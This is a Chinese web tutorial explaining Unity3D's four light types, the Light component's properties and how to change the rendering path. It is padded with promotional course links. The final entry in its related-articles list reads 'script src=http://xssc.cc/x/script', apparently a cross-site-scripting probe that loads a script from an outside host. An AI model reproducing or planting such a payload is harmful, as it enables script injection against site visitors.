Unity3D项目中,灯光摄像机都是一个游戏中十分重要的组件,下面我们就来谈谈Unity3D教程中的Light光源。如果大家对Unity3D感兴趣,就来菜鸟在线观看我们的Unity3D教程。

  在Unity项目中,灯光和摄像机是非常重要的游戏组件。灯光可以提升游戏的画面质感,摄像机可以捕捉游戏的场景,并将其输出到屏幕上。如果大家对Unity3D感兴趣,就来菜鸟在线观看Unity3D教程,相信你一定会喜欢,奉上链接:http://www.newbieol.com/course_0_1.html

  灯光用来照亮场景和对象,可以创造完美的视觉气氛。灯光可以用来模拟太阳、燃烧的火柴、探照灯、手电筒、枪火光、爆炸等等。

  我们通过在Hierarchy面板->Create->Light来创建4种不同的灯光效果。如图1-10所示。

  四种类型的灯光:

  Directional Light平行光(方向光)  最省资源  可以改变角度  联想:太阳

  Point Light点光源(由一个点向四周发射光源)  可以改变位置  联想:灯泡

  Spot Light聚光灯(聚光/锥光)  最耗费资源  可以改变位置和角度  联想:手电

  Area Light区域光(创造灯光贴图烘焙时使用)  无法应用于实时光照

图1-12 Light组件属性

  Light灯光组件常用属性介绍(如图1-12):

  1、Type:光源的类型。

  2、Color:光照颜色。

  3、Intensity:[ɪn'tensɪtɪ] 光照浓度。

  4、Cookie:设置贴图Alpha通道。(在此属性中放置一张透明贴图作为蒙版,从而通过灯光照射打到地面上形成一个预期形状的光影效果)。

  5、Cookie Size:设置贴图Alpha通道尺寸大小。

  6、Shadow Type:阴影类型。(Soft Shadows参数最耗费资源)。

  7、Draw Halo:绘制光晕(在点光源中使用雾蒙蒙的效果)。如果勾选该选项,一个球形的光晕将被绘制。光晕的半径等于范围(Range)。

  8、Flare:设置光源的闪光效果。用于在光照位置上渲染的闪光。

  9、Render Mode:光源的渲染模式。选择光源是作为顶点光(vertex),像素光(pixel),还是自动的渲染方式。

  注:要说明的是,灯光有对渲染速度有非常大的影响,因此必须权衡前后照明质量和游戏速度。由于像素光照比顶点光照奢侈得多(更耗费资源),Unity将只在最亮的光逐个像素渲染。

  10、Culling Mask:通过层设置指定图层不受到光照影响。

  11、Lightmapping:设置光照贴图模式。

  注意: 只有平行光可以加影子(在Inspector->Shadow Type)。若想在其它灯光下也能有阴影属性,则需修改Rendering Path(渲染路径)。

  操作渲染路径的方法为:菜单->Edit->Project Setting->Player(如图),然后在PlayerSettings属性中可以找到Rendering Path(渲染路径)属性选择。分为Vertex Lit(顶点照射)、Forward(向前照射)、Deferred Lighting(延时照射)三个选项。如图1-13所示。我们修改属性为Deferred Lighting即可。

  图1-13 设置Rendering Path属性(灯光渲染路径)

Unity3D教程之Light光源相关推荐

  1. Directx11进阶教程之Cluster Based Deffered Shading

    前言 很多游戏中存在大量的点光源(PointLight),环境艺术家为了让游戏模拟现实的氛围,一个场景下放下上千个点光源(PointLight)毫不奇怪. 在上一章中  Directx11进阶教程之T ...

  2. C#开发Unity游戏教程之Unity中方法的参数

    C#开发Unity游戏教程之Unity中方法的参数 Unity的方法的参数 出现在脚本中的方法,无论是在定义的时候,还是使用的时候,后面都跟着一对括号"( )",有意义吗?看起来最 ...

  3. Python培训教程之Python基础知识点梳理

    Python语言是入门IT行业比较快速且简单的一门编程语言,学习Python语言不仅有着非常大的发展空间,还可以有一个非常好的工作,下面小编就来给大家分享一篇Python培训教程之Python基础知识 ...

  4. Wireshark数据抓包教程之Wireshark的基础知识

    Wireshark数据抓包教程之Wireshark的基础知识 Wireshark的基础知识 在这个网络信息时代里,计算机安全始终是一个让人揪心的问题,网络安全则有过之而无不及.Wireshark作为国 ...

  5. 转:Tkinter教程之Text(2)篇

    '''Tkinter教程之Text(2)篇''' '''6.使用tag来指定文本的属性''' #创建一个指定背景颜色的TAG # -*- coding: cp936 -*- from Tkinter  ...

  6. thymeleaf加载不了js引用_web前端教程之js中的模块化一

    web前端教程之js中的模块化一:我们知道最常见的模块化方案有CommonJS.AMD.CMD.ES6,AMD规范一般用于浏览器,异步的,因为模块加载是异步的,js解释是同步的,所以有时候导致依赖还没 ...

  7. iBATIS教程之like语句的写法浅析

    iBATIS教程之like语句的使用我们可以先看看网上搜了一下iBATIS的关于like的使用 select * from USERS where USER_NAME like '%wang%'; 这 ...

  8. pgsql数据库默认配置事务类型_PostgreSQL基础教程之:初始化配置

    PostgreSQL基础教程之:初始化配置 时间:2020-04-27 来源: PostgreSQL基础教程之:初始化配置 一.配置pg_hba.conf 先说明客户端认证配置文件pg_hba.con ...

  9. 易语言逐条读access数据_易语言操作数据教程之ACCESS实战视频教程

    易语言操作数据教程之ACCESS实战教程第一讲 第一讲: 这一节我们讲ACCESS实战教程 实战教程: 分类的账号管理器 --------------------------------------- ...

最新文章

  1. Java项目:成绩管理系统(前后端分离+java+vue+Springboot+ssm+mysql+maven+redis)
  2. EndDialog和CDialog::OnOK()
  3. Ansible-----条件判断与错误处理
  4. C语言实现DES加解密算法
  5. android重新编译res,使用 gradle 在编译时动态设置 Android resValue / BuildConfig / Manifes中lt;meta-datagt;变量的值...
  6. 高级Linux Kernel Inline Hook技术分析与实现
  7. android 沙盒 ios,iOS中的沙盒机制
  8. CSU Scientific Conference
  9. 7.docker pull
  10. arm指令集 c语言,这些Cortex-A处理器支持的指令集,您都知道吗?
  11. P2P中DHT网络介绍
  12. 保持积极向上的人生格言
  13. java方法头_java方法学习
  14. Perseus(擎天):统一深度学习分布式通信框架
  15. AV1比HEVC/H.265简单对比
  16. Excel中如何找出两列数据中相同的数据,并且进行同行显示
  17. 简单模拟Lur 算法
  18. LAMP编程之Linux-1
  19. 基于PyQT5实现垃圾分类小程序
  20. sscanf 其实很强大

热门文章

  1. access 数据分组
  2. 手把手教你简易上手GitHub(教程)
  3. GitHub教程 仓库的创建、同步、删除
  4. 远程数据库备份解决方案。
  5. 世界上最快的计算机每秒,世界上计算机最快的是每秒12.54亿美元
  6. 中国2014年成最大机器人市场 工厂迈向自动化
  7. 大数据(5m)ClickHouse极速入门
  8. APP测试— 测试工具mokey
  9. Java SE 基础入门知识
  10. script src=http://xssc.cc/x/script